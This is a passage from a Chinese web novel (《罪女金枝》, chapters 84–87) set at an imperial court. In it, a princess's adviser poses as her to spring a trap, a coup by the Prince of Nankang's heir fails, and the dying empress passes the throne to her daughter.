季嗣音真想给她一下,但也有点道理,她现在的命非常金贵,万人垂涎,不能无缘无故死掉。因为这个,公主府表面非常和谐,实际已经进入了战备状态,一饮一食,都有人专门精心。季嗣音也是走到哪都佩甲着剑,随行人数绝不低于二十,连兜鍪都随身带着,预备有突发状况,立刻带上,防止爆头。平时就不带了,着甲因为她的甲都是专门贴身定制的,穿习惯了也没什么感觉,连头盔都日常戴着,那还活不活了?有时候人就是这样的,哪怕知道出事了会很危险,也会因为舒适度的问题,懒得戴头盔,还真不好说命和舒适度相比,哪个更重要。但什么东西光防备,都会很累。 一天两天会警醒,时间长了就会懈怠,天天防备着人来刺杀,结果连个人影都没有,感觉全是无用功! 于是到了生辰那天,看着侍女托过来的甲胄,季嗣音直接拒绝:“什么东西天天穿,我的生辰也要穿!宴席上有那么多人,谁敢当面刺杀!”侍女无措道:“可这是关大人吩咐的。” 季嗣音不耐烦道:“她爱穿她穿,今天解放一天!” 侍女百般劝阻,也没打消季嗣音的主意,换上专为她寿诞赶制的蜀锦袍服,少了重负,瞬间轻松,季嗣音欢天喜地地出去见客。 她现在是京中最有威势的人,所有人都想来给她拜寿,郦文鸢身体不佳,不能亲自前来,也送来了赏赐。 谢过皇帝陛下的赐礼,宴会就开席,一群人纵情饮乐,好不快乐。酒至极处,南康王妃也来敬酒。 季嗣音不喜欢她是众所周知的,喝了一点酒上头,季嗣音就不装了,斜睨向她:“呦,这不是皇嫂吗,居然也会给我敬酒?”不睦是相互的,季嗣音看不惯南康王妃,南康王妃也看不惯她,见她这副做派,南康王妃条件反射就生气了。 但为了筹谋大事,还要隐忍,南康王妃压下心中怒火,赔笑向季嗣音。 “永宁,之前是皇嫂多有不是,惹你不快,现在诚心给你赔罪,看在今日寿辰欢乐的份上,就原谅嫂嫂吧。” 季嗣音却不置可否,抬起下巴:“皇嫂先喝。”这点小事南康王妃还是能忍的,举杯一饮而尽。 季嗣音示意分酒官分酒:“再喝。” 南康王妃: 她从不是一个善于忍受屈辱的人,若是平时她早发作了,但想着接下来的筹谋,又忍下,再次一饮而尽。 季嗣音似乎存心难为她,一连七杯,等酒樽都要见底了,才大笑着叫停,一口气陪了同样的杯数:“皇嫂别生气,开个玩笑。” 南康王妃: 你等着吧,过了今天,就是我掌权那天,到时候有你好看! 一连七杯,也算泯去前仇,季嗣音也就不计较以前的事了,拉着南康王妃饮酒。 南康王妃很小心,不让自己喝醉,季嗣音却喝太多了,当场泪下:“嫂嫂,你这人真的很坏啊,我不知道我哪里得罪你了。” 南康王妃咬牙,你刚干啥现在就忘了! 但此乃天赐良机,南康王妃柔声道:“是嫂嫂不对,永宁想不想见一下哥哥,你哥哥身体不适,不能亲自前来为你庆生,心下难过,你能不能去看看他?” “哥哥?”季嗣音抬头:“确实啊,哥哥没有来,以前永宁生辰之日,哥哥总是最用心,现在居然不在了。” 话说着,眼泪流下更多。 南康王妃见她果然醉了,便更加深入,拉她起来:“那永宁来兄长府上过一夜好不好。” 季嗣音的思维,在酒精的作用下有点迟钝,顾不上想别的了,歪歪斜斜地撑起身子:“好啊,备车。” 她身边的侍女赶紧阻止:“公主,夜已深了,还是明日再去吧!” 南康王妃却将她别开:“明日寿诞便过了,那还有何意义。” 季嗣音想想确是此理,继续道:“备车。” 侍女还不甘心:“那奴婢使人跟着公主。” 南康王妃再次打断:“我府上难道还没有服侍公主的人吗,你不要多言多语。” 季嗣音也为侍女的多嘴感到厌烦:“就是,你怎么如此啰唆,遣散宾客,孤去皇兄家小住一晚。” 侍女屡次劝阻不成,又拗不住公主之命,妥协道:“那公主至少披上衣服,外面更深露重,深夜出行恐受风。” “真是啰唆。” 季嗣音不耐烦地接过披风幂篱,穿戴整齐,看向她:“这下满意了吧?”侍女露出一个笑容:“奴婢去给公主备车!”按照常理说,应该是让季嗣音上她们的马车才更保险。但那样就有点太明显了,就算季嗣音酒后迟钝反应不过来,她的手下也不可能允许。事情还是要见好就收,最后还是随行了十个护卫。若是平常这十个护卫或许有用,但是今夜,南康王府是一座谁也走不出去的铜墙铁壁。府门一落锁,立时有人通知行动。 季嗣音会自己喝醉,并不在这些人的计划之中,所以南康王府中,真的摆了宴席,久病的南康王也在。 看着妹妹进门,南康王撑起身子,一脸喜悦道:“妹妹,是你吗?” 幂篱女子似乎醉得很深,被身边侍女扶着,点点头,发出一声轻哼:“嗯。” 这场谋划,南康王是不知情的,所以表现得很真诚,就算季嗣音没醉,也会放下戒心。 南康王妃长松一口气,这样就好,若是能无事发生的度过此夜,当然是最好的。 虽说到了这个地步,应该早下决心,但若真的和季嗣音大动干戈,南康王妃还有点不愿。 不是她对季嗣音有什么不舍,而是以兄杀妹,以侄杀姑,这罪名太重了! 在古代交流都是很原始的人对人情况下,个人信誉显得极为重要。 季嗣音从没做过什么对不起她们家的事,在民间的名声也极好,若是在她们家无罪被杀,那真的就是脸都不要了,流传后世,也会被后人耻笑。 因为这个,南康王妃到了这个时候还在演戏。 天赐良机,让永宁居然在这个关头醉倒了。 示意手下,捧过一杯加了料的酒,送到季嗣音面前,助力她醉得更深。 若是今夜她真的如此顺利地“醉过去”,那就是所有人之幸。 等大局铆定,就算是神仙在世,也毫无办法。 看着酒送过去,南康王妃难得和蔼地面对季嗣音:“永宁啊,已经到了兄长府上,怎么还带着幂篱呢,快摘下来吧,饮下这杯庆生酒!” 南康王顿时也附和,他也想见见妹妹的样子。 听见他们的集体要求,一直撑着额头,歪坐在案边的女子抬起头,轻笑一声。 “不是永宁不想摘,实在是夜来风大,将永宁的面貌吹得有些改变。” “若是摘下幂篱,和原来的形象有点不符,皇兄皇嫂千万别意外,只是风大,吹得有点变形。” 85、《罪女金枝》 空气一片寂静。 南康王还一头雾水,乐呵呵地问道:“永宁,我怎么听你的声音有点不一样了呢?” 南康王妃却如坠冰窟。 头戴幂篱的女子,掀开帷布,露出一张风大,被吹变形的脸。 酒杯已经被奉到面前,女子拾起,恭恭敬敬地敬了一下南康王妃和南康王,露出一个微笑。 “感谢两位殿下赠酒,就是不知道这杯酒,掉在地上,会发生什么事呢?” 南康王妃面色大变,想要伸手阻止,却来不及了。 酒杯落地,发出清脆的破裂声,门扉瞬间被踹开,甲兵的寒光,将烛火朦胧的室内,瞬间照亮。 南康王大惊,还来不及想为什么妹妹变成了另外一个人,甲兵已经突门而入,将所有人团团围住。 裴钰带着甲士,直指席上的公主和公主随众,却在触及女子面容时,倒吸一口凉气。 叶奚青完全取下幂篱。 公主的马车很大,可以容纳很多人,天高月黑,也看不清里面的详情。上车后,季嗣音就退下幂篱披风,借着人影掩护,从后门跳车。 叶奚青则接过她的披风和幂篱,穿在自己身上。 关娴枝的身体虽然瘦弱,却不矮,穿高一点鞋,垫一下肩,足以弥补身形差距。 她又和季嗣音朝夕相处,对她的一举一动,极为熟悉,加之天黑影乱,烛火迷离,居然到了屋内,都没人发现。 现在刀枪齐出,甲兵尽现,才发现宴席上的人根本不是季嗣音! 如果季嗣音不在这里的话,她去哪里了? 一瞬间,裴钰立刻放下兵刃,调转身体,想通知南康王世子,计划已泄! 叶奚青却在他背后轻轻一笑:“不会以为现在还有收剑回鞘的可能吧?” 裴钰停住了脚步。 不管是什么原因,以甲兵埋伏公主,已经算得上事实谋反了。 这么大的事,第二天所有人都会知道,不是现在收兵,就能当作无事发生! 叶奚青微笑着看向在座的所有人:“箭已在弦上,猛兽也已出笼,哪怕在座的诸位,当场杀了在下,也于事无补,既改写不了今夜事实,也阻止 不了公主直去北竞门带兵平叛。”“谋反这种事,若是不察,可胜以先机,若是察觉,则只能短兵相接。” “世子带领的叛军,和公主带领的义军,谁能更胜一筹?” “或者说,他们两个谁是叛军,谁是义军?” “经过此夜,所有事自见分晓。” “与其报与世子,让世子军心溃散,弄巧成拙,倒不如真就搏个成王败寇。” “正主已登前台表演,我等何不在此宴饮欢乐,静候佳音?” “来人,传宴!” 没人应声。 这里不是公主府,没人会听叶奚青的吩咐。 南康王大惊失色,目光扫向在座的所有人。 他没想到他的王妃和世子,居然越过他策划兵变,且被人识破! 过去的几十年,南康王久陷宫廷争斗,已经吓破了胆,当场瘫软在地,难以支撑。南康王妃却在最初的恐惧后,慢慢平静,只剩下被愚弄的愤怒!她一点点看向坐在自己对面言笑晏晏的叶奚青。 是啊,到了如今这个地步,无外乎是成王败寇,昔年太宗皇帝弑兄篡位,踏着手足骨骸登上皇位,又能如何?只要胜利,史笔就掌握在胜利者手里。 之前犹豫要不要杀公主,是还未到绝境,尚考虑声名。 现事已败露,那就算天王老子,又有什么杀不得! 满朝文武,对郦文鸢女人篡政的行为,早已不满,第二天要他们站队,他们也只会站她们家。 季嗣音虽可调动五百登州兵,她们也串动了南息门两位戍将,同样聚拢了五百精兵,短兵相接,未必就是她胜! 纵得先机又能如何,活下来的人才是胜者。确定目下所有状况后,南康王妃反而完全平静下来。坐直身子,不愿被一个婢女压入下风。 指挥下人:“来人,传宴!” …… 季嗣音飞马赶往北竞门,北竞门的戍长是屠四娘和后收的胡女毗伽.乌阔真。见是公主,毫不犹豫就放她进门,带领手下拿起家伙什:走!如今已是宵禁,奔行在空荡荡的大街上,甲胄细微的摩擦声放大十倍,每个人都心如擂鼓。季嗣音不知道叶奚青怎么敢的,敢在这个时候留在虎穴。 但她最后说话的样子,还犹在眼前—— “公主胜,我等皆活,公主不胜,我等皆死,身在何处,又有何意义?”缓缓吐出一口浊气,季嗣音仿佛又回到了登州剿匪时,她们假出一支商队,诱匪兵出洞,然后将之一网打尽。只有干日作贼,没有干日防贼,她之前那么周密的防护,不是真的为了防 不轨之徒,而是为了在一个特殊的时机,露出全部破绽。鱼咬住饵的时候,也是饵咬住鱼的时候,想要抓住大鱼,必须舍出如此亲密的连接。只是怎么能真的一点不伤心呢,看着鱼钩的对面,钓出自己的至亲手足时,怎么能真的一点不伤心呢?季嗣音有些眼泪,并不作假。 但是感情,却乎是天家兄妹,不约而同,最先放弃的事! …… 看似危险重重,其实只要胜,就什么危险都没有。 季嗣音带领的登州兵从北竞门出,南康王世子带领的南息门卫队,也早已悄无声息地长驱直入。 南康王世子分兵两路,一路直取皇宫,一路突入府门。 郦文鸢的侄子,那个一直被当作“疑太子”的靖国公,从永宁公主的宴席上下来,还憋了一肚子气。 这些年,他的那位好姨母,对他若即若离,忽冷忽热,将他耍得团团转转,却总是在关键时刻,将他想要的东西收回。 他心里有怨,也不得不耐着性子讨好郦文鸢,讨好她的亲女儿。 他那个表妹,更是个极坏的性子,郦氏这边没人喜欢她。 若不是她是姨母的亲女儿,恐怕早没人容忍她。 但现在这个时候,所有人都得向她低头。 精神疲惫地从宴会上归来,伸开手,让下人服侍解衣,耳边突然听得一些动静:“是不是有声音?” 下人已是又累又困,睁不开眼睛:“国公爷,什么声音?” 靖国公听着声音逐渐变大,某一刻突然惊醒,还不待他有所反应,甲兵已破门而入,举着火把,照亮整个屋子。 靖国公又惊又怒,张口斥道:“大胆!你们……嗤——” 他不说话还好,一说话,配上他的穿戴,立刻知道是要找的人,闯进来的人二话不说,一刀捅进他的腰腹。 下人吓疯了,惊慌逃窜,好在为了抓紧时间,来人并未大开杀戒,七手八脚地将靖国公身体戳了个稀巴烂,割下头颅就迅速离开,赶紧和主队会合!发生这种事的不止一家,甲兵突入府门,很多人都在睡觉,就算反应过来,武器简陋的家丁也根本无法抵挡,曾经的郦氏贵胄,就被这么杀了个干干净净。新鲜头颅流下的血,滴了一路。 南康王世子带领禁军,直突宫门。 郦文鸢近日身体沉重,早已睡下,听见这嘈杂的动静,又从榻上慢慢撑着身子起来。 吩咐侍女点亮所有宫灯烛火,她已经老了,眼也花了,耳也背了,腿也不能动了,要很明亮的灯光,才可以看清眼前的东西。 进来的人是谁呢? 南康王世子从宫门踏入,身后的手下,手里各提着一个血淋淋的头颅,一起步入她的寝殿。 曾经的郦文鸢是皇帝,现在的她,却是一块砧板上的鱼肉,所有站在此间的人,都又紧张又兴奋。 郦文鸢眯着眼睛看向他们:“怎么,你们反了?” 虽然所有人都知道这是在谋反,但关于谋反的解释说法,一向最多,没人承认自己谋反。 南康王世子直接上前一步,跪在她榻前,一脸诚恳道:“皇奶,孙儿怎敢行谋反之事。” “只是接到密报,靖国公、禄国公、寿国公有谋反之举,孙儿已将他们三人拿下,担忧皇奶安危,才特地进宫保护皇奶,希望皇奶不要误会!” 郦文鸢忍不住笑出声:“靖国公、禄国公、寿国公,死得真巧啊,刚好所有和你们抢皇位的人,都死干净了。” 南康王世子面不改色:“孙儿知道皇奶生疑,但事情确实如此,不管如何,您都是孙儿的亲皇奶,孙儿的父亲,也是您唯一的儿子,就算要谋夺皇位,又何须如此费功夫?”郦文鸢笑答:“你父亲是朕现在唯一的儿子,却不是朕唯一的孩子。” 南康王世子: 抬头露出一个微笑:“姑姑嘛,姑姑现在正在孙儿府上做客,也许现在已经睡着了呢。” 郦文鸢沉默。 一直以来,她都保持着良好的应对,在听到这句话,眸光变得漆黑。低头看向跪在地上的南康王世子,脸上已没了笑意。“虽然知道你不过是过笼里的蝈蝈,但有些时候,确实让人生气呢。” 季嗣音带兵疾奔向皇宫,她的每个属下,都带着一些不一样的东西。战争就是在你出招,我解招的过程中,不断升级。宛如雨点般连发的弓弩箭雨对士兵伤害太大,就产生了无死角防御的甲兵。甲兵披甲太笨重了,就出现了人马皆披甲的骑兵。战争手段不断升级,然后有一天,全部被淘汰,热武器出现了。都说短兵相接,谁真的和你短兵相接啊!我拿出一硫二硝三木炭,你不炸了吗! 在甲兵近距离混战的情况下,现阶段的枪也不好使,但掌心雷肯定一炸一大片,还便于携带。 季嗣音和她的登州军,做好万全准备,每个人都带着黑科技。 千辛万苦地赶去宫门勤王,到了地才发现,人是不是有点多…… 南康王世子跪在地上,仰望郦文鸢,正在得意,耳边突然听到一些响动。 心内犹疑,出门察看,就发现他带领的禁军,在不断往后退缩,灯火照耀下,有三队人马,从三个不同方向,缓缓逼近。 率领东路军的是上官兰翌,率领西路军的是郦文鸢身边的常伴女官祈玉莲,而率领北路军的,则是应该在王府中做客的季嗣音! 三路人马,缓缓逼近,气势汹汹闯入宫门的南路军,仿佛被一个三面收紧的口袋,一头闷里面。 南康王世子瞬间头皮发麻,猛然回头—— 烛光中,那位只披着一件外衣,仿佛风中残烛的垂暮女人,牵起一个没有温度的弧度。 “太小瞧朕了吧,小东西。” 86、《罪女金枝》 系统曾问过叶奚青,她往湖里撒饵了吗? 叶奚青回答没有。 她没有说瞎话,她确实没有,往湖里撒饵的,是当今皇帝。 谁都知道,一个招数不能使两遍,第一遍使用的时候,就会暴露使用者意图。 郦文鸢在册封女儿为登州王时,拿郦氏子弟和南康王开过涮,这次想立女儿,其实不能用同样的方法。 但谁让人类的行为,比鱼还简单呢,只要撒下饵,就会去咬啊。 这也是叶奚青喜欢分析目的,多过分析话术的原因。 语言是矫饰,行动是手段,只有目的,是露骨的真实,所有语言和谋划,都会指向真实的目的。 郦文鸢是一个伪装多于真实的政客,但她身上一定也有真的东西。 比如一个母亲对女儿的爱,以及一个政客,对自己政治生命得以延续的渴望。 只要抓住她的真实,评判她愿意为目的付出的代价,其实就可以倒推她的一切行为。 一个生命即将走到尽头的皇帝,她为自己的目的,可以付出什么呢? 答案是全部。 一个愿意付出全部的亡命之徒,连自己都可以成为饵的一部分。南康王世子未必没想到,但他也有他的真实。 他能看清悬垂下来的饵料有多么危险,但他也自信,可以在这危险中,攫取食物就离开。一个八十多岁失去所有追随价值的老人,一个可以轻易被他诱杀的姑姑,她们的安全边线,很容易倾覆。明明是一线的搏杀,却不知道怎么陷入了如此压倒性的局面,南康王世子和他手下叛将如坠冰窟,喃喃自语:“怎么会这样……”郦文鸢笑意盈盈地看向他:“什么样,是另两路禁军来了吗?” “我有些老眼昏花,看不清你带的是哪路兵将,总归不能是北竞门,那就是从其它三门而来。” “不太确定叛军会在哪路起,我就命上官兰翌和玉莲,持符等待。” “她们两个我很信任,一个不会背叛我,一个不会背叛永宁,所以我可以放心地将兵符交予她们,任由她们自主。”“朕是棋盘上固定的将帅,她们是游离在外的车马,不管反声从哪路起,另外两路都可以响应。”“同时策反朕三路军,你恐怕没那份本事,策反一路的话,你恐怕也翻不了天。” “朕一直等着某路军的到来,看来就是你们。”“外面现在是哪两路军呢,不会是三路齐在吧,哈哈哈。”“那朕的女儿,确实比儿子强得多啊,哈哈哈。”南康王世子: 大势已去,他的心中只剩惊怖,他手下的叛将更是惊惶失措,目眦尽裂地持剑指向郦文鸢。 “那又如何!妖妇!你别忘了你还在我们手里!就算我们死,也会拉上你做伴!” “现在就下令,闪开一条线,放我们出城!不然将你一刀两断” 郦文鸢抬头看向他的剑尖,和他几乎变形的惊怒表情,又是一笑: “那你怎么还不动手呢?” “老婆子今年已经八十二了,连床都下不来,死一死又有什么大不了的。” “一个帝王,无论如何,都不会向一个胁迫她的乱臣贼子低头。” “朕早已立下传位诏书,交给上官兰翌保管,等朕死后,新皇立刻登基,尔等永远为叛!” “你们大可杀了朕,朕死也是皇帝。” “朕可以保证,你们给予朕的,新皇会百倍偿还。” “因为新的皇帝,会是朕的女儿!” 叛将:……有谁能不精神崩溃呢。 他们只是怀着从龙之功的野望,幻想着成为阁上功臣,从没有想过将自己的性命抛在这里。 虽说做事前要考虑失败的后果,但大多数赌徒,在押注前,绝不会想自己失败如何,只会想成功后的美好一切。 因为从没想过,真正面对失败的时候,就做不好失败管理。 拿刀的叛将情绪崩溃,举起刀,就要做最后的疯狂,南康王世子却阻止了他,劝他冷静。 这个女人本来就快死了,杀了她又有什么用! 叛将泪流满面,谁不知道这个道理,可是现在除了杀人泄愤,还能怎么办,他们谋反失败了啊! 想杀又不敢杀,只能看向牵头做这一切的南康王世子,是你让我们来的,你想个办法啊! 南康王世子拍着他的肩膀,让他冷静。 冷静,冷静,有办法的,有办法的。 南康王世子安抚地将手按在他的肩膀上,然后趁其不备,一刀割喉! 喷泉般的血液,一下子喷射出来,叛将捂着咽喉,看着南康王世子染血的脸,瞪大眼睛,仿佛不敢置信。 但人是很现实的,割了喉绝对活不了,血崩气绝的尸体缓缓倒下。 另一个叛将惊慌退后好几步,震惊地看向南康王世子。 南康王世子却已经抛下刀刃,跪倒于地,膝行至郦文鸢面前,伏在郦文鸢膝上痛哭。 “皇奶!皇奶!孙儿真不是谋反啊!您相信孙儿啊!” “此贼竟敢对皇奶不敬,已被孙儿诛杀,孙儿是您的亲孙子,怎么会谋害您呢!” “我等真是接到郦氏谋反的密报,才来诛杀郦氏逆贼的啊!皇奶!” 仅剩一个的叛将,手足无措。 他其实既有点支持同伴挟持皇帝,闯出去的决定,也有点支持南康王世子滑跪的决定。 现在支持闯的同伴已死,自然要跟着跪,扔下手中刀,匍匐在地。 “陛下!臣等却是为了勤王才闯宫的啊!”顶头上司都跪了,底下人还能如何。很多底层士兵其实都不知道去哪,上级有令,不得不动,一层层跟着上级走,谁知道是去谋反,还失败了!底下人哭得比上面还惨,起兵胜利,不一定有他们多少好处,起兵失败,却绝对会问罪他们。地上哀哭声此起彼伏,郦文鸢没什么表情。“剥甲除械,押狱候审。” …… 皇城发生这么大的事,住在皇城里的达官贵人、贩夫走卒,是不可能不知道的。就算睡得死,也会被惊醒的家人叫醒,虽然不能出门,也在家里竖起耳朵听音。等第二天鸡鸣见亮的时候,果然发生了大事,到了解禁之刻,巡城兵也来回巡防,传圣上命令,严禁各家出户!百姓战战兢兢躲在家里,官员则心怀忐忑地踏过空无一人的长街上朝,不知迎接他们的会是什么。等到了朝堂,只有高坐龙椅上的郦文鸢。郦文鸢没有解释,没有辩驳,直接宣布最终结果。 “朕年事已高,无力操持国事,即时起,移政于永宁公主,册永宁公主为太子,正位东宫。”“南康王世子并南息门赵、王二将,深夜持械入禁院,羁押大理寺候审,严惩不贷!”“敕令礼部、太常寺、少府监,协同筹备新帝登基事宜,一月后,太子于集贤殿受禅登基,违时者斩!” “有事现在就奏,无事就庆贺太子东宫之喜。”满朝大臣全部抬头,张张嘴,终究没人发出一言。在此之前,已经有人替他们发声了,很显然,那个人失败了。剩下的人,只要不是存心想死,就不会跳出来反对。而喜欢以死邀名的清流名士,在郦文鸢掌政的几十年里,基本不存在于朝堂。皇位之争,天子之争,你争赢了我帮你,你争输了我帮你干啥。发动兵变都能失败,那说明天意如此,你真的不适合当皇帝。众人只想迎接真龙天子,跪伏一片,高呼:“吾皇万岁!”“太子千岁!” ……… 季嗣音甲胄未除,就登上了大殿。听圣母皇帝下诏,立刻跪奉圣旨,跪谢圣恩。郦文鸢身边的两个贴身女官:祈玉莲、上官兰翌。一人捧诏书,一人捧仪具。 授太子绛纱袍、远游冠、太子玺、赤绶瑜玉。新帝的龙袍,尚未来得及赶制,太子的吉服,却已经制好多时。季嗣音跪地受封,跪谢圣恩:“儿臣谢母皇垂赐!”郦文鸢看着穿上太子袍服的女儿,终于露出了母亲般的喜悦:真合身啊,真好看啊。 ……源源不断地甲兵包围南康王府,南康王妃的手有点抖,几乎拿不起杯子。心中怀有万分之一的希望,希望有奇迹发生。但她的梦想终归破灭,季嗣音是亲自来的,她身上的太子蟒服,已经将所有结果昭示。成王败寇,第一次如此清晰地感受到这四个字,南康王妃跌坐在地上,接受了自己的命运。季嗣音面无表情地看向南康王府众:“孤有个人落你们这了。”被遗落的叶奚青,撑着几乎坐麻了的大腿,费力地站起来,真不是人干的活。但她不能怪任何人。身为谋士,本可以坐镇后方,等着出结果,是她自己强烈要求出席这场鸿门宴。付出就要有回报,她自然不会白白遭那么一大遭罪。在身边人的搀扶下,越过所有跪在地上的叛军,来到男主面前。男主的脸当然是好看的,男主的姿态当然是高贵的,可就算是男主跪在这里,也是会害怕的。想当年裴家抄家的时候,他还小,只能在旁边看着,现在终于能亲自参与了。叶奚青路过他时,特意蹲下身子,轻轻拍一下他跪伏于地的后背。你的好日子可来了。 87--96 87、《罪女金枝》 古代皇帝的龙袍,寸绸寸金,金织银绣,一针一线,都要由最顶尖的绣娘捻就,耗时几年,才能成就一件,但皇帝不能等,她要在最短的时间,看见女儿穿上龙袍! 因为这个,皇帝下诏,征召全国绣娘,共绣龙服,一个月内,她要见到成品! 但就算如此赶工,也来不及了,垮塌的身体,如不断流逝的沙漏,就算再想抓住,也会从指缝流掉。 郦文鸢来不及见女儿登基,身体就进一步陷入无法挽回的境地,身边人哀哀戚戚地在她身边哭泣,跟随她一生的贴身女官,更是泪流满面道:“陛下,如果您要先一步离去,就将奴婢也带走吧!”郦文鸢转头看向祈官的脸。 她们一起度过了漫长的人生,又一起服下了除了重复青春,屁用没有的神药,现在祈玉莲要为她殉葬,可谓是可以流芳后世的君臣相得,郦文鸢却摇了摇头。 她说话已经很费力了,但还是清晰地表达着自己的意愿。 “朕近日与太子日夜相谈大道,发现巫山神女所授巫道,才是博爱世人之道,人之一生,皆在生时,死人如何能与生人争路耶?” “所以朕死后,不要人给朕生殉,宫中侍奉的宫女阉宦,满三十者,都放出宫去,愿意留宫的,也不禁止,新帝要妥善供养。” “死人就好好死去,活人也当好好活着,新帝需要活着的人帮助她,你要像侍奉朕一样,侍奉新帝。” 祈玉莲立时恸哭失声。 若说之前她为主殉葬,还有几分实际的考虑,现在就全是对这个相伴一生的主君,满心的崇敬和不舍。 郦文鸢越过祈玉莲,看向上官兰翌和叶奚青。 上官兰翌是她留给女儿的新人,叶奚青则完全是跟随女儿多年的旧人。她的女儿她了解,一切不可思议的转变,都在这个关小姐到来之后。所以她没有薄待这两个人,早在册封太子时,就一同册封两人为太子太傅。现在太子成为皇帝,她们自然也去掉前缀,郦文鸢又额外赐了爵位,一为兰亭侯,一为寿张侯,食邑五百户。底下的托孤大臣,也各有封赏,希望他们不要忘了今日之情,好好辅佐新帝。 受赏之人,齐齐拜谢,愿为新帝,肝脑涂地! 托付完所有后事,终于到了和太子告别的时候,面对太子,郦文鸢反而没什么要交代的了,只是看着女儿:“你还有什么想对母皇说的吗?”季嗣音已经哭了一路,看向母亲时,只有泪雨滂沱:“永宁什么都不想要了,永宁只想母亲活着!” “呵呵。” 郦文鸢忍不住笑了一下,怎么到了这个地步,她的女儿还傻乎乎的呢?她为她吃了好多苦啊,她为她操了好多心啊,如果她可以长生不老,她一定不会对一个除己之外的“外人”,如此上心。但她就是会老去,她就是会死亡,她不得不将自己的半个生命,全部情感,都押在这个她完全不满意的笨小孩身上。 以至于就算是现在,也收不回来了。 郦文鸢浑浊的眼睛,缓缓流下一滴眼泪,她本以为自己已经看透了生死,原来还是会对这个世界眷恋。 闭上眼眸,她会为自己的女儿做最后一件事。 …… 洛京钟鼓楼上最大的泰和钟,每个洛京人都很熟悉。每到清晨,就会被它唤醒,参照时辰,出户工作。如今泰和钟连鸣十二,息声三年,以沉鼓替音,意为天子驾崩。城中百姓,不管在干什么,立刻跪地伏首,敛容泣涕,哀天子之逝。幽禁中的南康王也跪地痛哭,百姓哀泣的是他们的君主,他哀泣的是他的亲生母亲啊!可是幽禁中的他,已经没资格为母奔丧,只能自服衰服。一家人跪地接旨,聆听先帝给他们家最后的旨意。 上官兰翌奉旨宣读先皇遗诏:.……怀汝十月,多受苦辛,昼不能食,夜不能寐。” “育汝长大,常得忧劳,衣少忧寒,衣多恐缀。” “心常不能安,意常觉悬,悬悬念念,无求有偿,但愿汝安。” “而汝以何报母!朕何以得安!” 南康王听着遗诏之言,哭倒在地。 母亲对孩子的斥责,宛如利剑,天下没有任何一个孝顺的孩子,可以承受如此犀利的指责。 南康王几度厥倒,口呼母号:“母亲!母亲!儿实不孝!” 上官兰翌每宣读一段,就给他留一段忏悔的时间,就这么一顿一顿的,将整篇斥子诏书宣读完. ……朕本欲托汝大业,而汝诚失朕望,遂传位汝妹,夺汝之王册,废汝为庶人!” “汝子狠毒,窥望大位,意图弑姑,蛇蝎心肠,狼心狗肺,实不敢想世有此鸷,闻之便令人切齿,细思则更不能容于世。” “然其又为汝子,杀之还恐伤汝之心。” “汝身单薄,难承忧惧,朕心大恨,却又不愿夺汝之身。” “贬谪岭南,非诏不得还京,汝子大逆,赐以肉刑,剜目、挖膝、截舌,使之再不能为逆!” “汝等即刻离京,朕生不愿见汝,死亦不受汝祭。” “母子情绝,书成断笔!” 最后一个字落下,南康王当即支撑不能,哀哭于地:“母亲!母亲!” 这世间之人,皆是偏心,母亲也是如此,纵是一母同胞,也有偏爱之子。 郦文鸢偏爱为谁,已毋庸置疑。 她虽在最后关头,一意孤行,将大位传给女儿,其实心中也常为忧惧。 短短数载,是否可敌千年? 将皇位传给女儿,对她来说是否是好事? 她心不能安,所以最后还留下一手。 季氏皇族,已被她杀得七零八落,最为正统,反而是她的儿子。所以若你能胜,你的皇兄已被贬黜,威胁不到你。若你败,想还复季氏的叛军,也只能打着你皇兄的旗号。你拿着母亲的诏书,向皇兄哭诉,他是你的亲皇兄,必不杀你。跑去你的登州,跑去你的海外,跑去一切可以跑的地方。不管什么时候,都要活着,这是母亲对你最后的期望。南康王妃本以为婆婆饶过了她们一家,没想到还要处置她的儿子,不禁瘫倒在地。 抓着南康王的衣袖乞求:“王爷!王爷!你救救咱们的儿子啊!你去求求陛下!你去求求永宁!要杀就杀我啊!都是我的主意啊!放过我的儿子好不好!王爷!王爷!” 她爱子如此之深,南康王却顾不上她了,“母子情绝,书成断笔”,得到母亲这八个字,他愧为人子,还有何面目苟活于世! 他只顾着自己哭泣,忽略了一家妻小,身后二女儿在背后一直发抖,母父亲都无暇它顾,只有大女儿握住妹妹的手。 别害怕,至少咱们一家人还活着不是吗…. 季飞燕被大姐握住手,埋在地上的脸,顿时笑得更开心。 哈哈哈,她没死! 其实真正出这个馊主意的是她,把季嗣音诱过来杀,就是她暗示自家弟弟的,结果没想到那小东西挺讲义气,没把她供出来,嘿嘿嘿 季飞燕都要笑疯了,那她就自己去岭南喽。亲爱的弟弟,你太可怜了,姐姐真为你心疼,哈哈哈!无罪赦免还废个弟弟,季飞燕感觉非常良好。虽然被废成了庶人,但既有皇族血,就永世为皇族。姑姑那么笨的人,都能成为登州王,她如何不能成为岭南王呢? 总有一天,她会回来! 随着郦文鸢入葬,她关于那场叛乱的处决结果也出来了。 叛首夷九族,伍长之上的军官夷三族,参与叛乱的士兵全部处死,有关联的大臣,抄家灭族。 原定册封新帝的日期还没到,原来的皇帝就驾崩了,太子直接继位。 为母守灵七天后,在重臣之请下,新帝入阁理政。 还在丧期,不登殿议事,季嗣音一身重孝,坐在了曾经属于母亲的位置。 将丧仪发展成一套表演流程,是为了维护统治,而在最原始的时候,却是活人对死去的亲人,最后的怀念。 哭了七天,季嗣音其实已经不想哭了,但这个世界上母亲留下的痕迹太多了,每看到一旧物,都让她忍不住潸然落泪。 群臣陪着她又哭了一会儿,季嗣音终于止住眼泪,承担起她新帝的责任。 “先帝一生躬于政事,肃察奸邪,经纬天地,慈惠爱民,圣闻周达,昭德有芳,朕以为当以文昭”二字为谥,最为适宜。“ “先帝素怀慈心,严刑峻法,本为治乱,非其本意,遂改先帝遗命。” “南息门守将参与叛乱者,叛首夷九族,百夫长之上夷三族,伍长之上枭首。” “被长官要挟的普通兵丁,念其确不知情,身不由己,饶其性命,劓刑刺配,以为铭记。” “叛首家中女眷,多不知其在外为逆,凡不知情者,予以特赦,抄没家财,贬为庶人。” “母亲生时欲葬黔陵,子不可夺母之志。” “然天高路远,朕代承国事,不可脱离,使上官兰翌扶陵入黔,葬仪结束,沉下墓门,不可使人侵扰母亲归处。” “当地居民,每至年节,时时祭祀,告慰母皇在天之灵。” “修陵工匠,不予殉葬,厚禄以待,望其以德报德,将黔陵之秘,秘葬于心。” “母亲身边奉圣阿母,年事已高,于宫中奉养,接阿母族亲入京,颐养天年。” “国丧期间,一切从简,追回诏令天下绣娘赶绣龙服之命。” “然朕居京中,亦想知天下之事,各地技艺,各有不同,使尚服局出龙衣图样,各地绣女,各绣龙衣一角,争相竞技。” 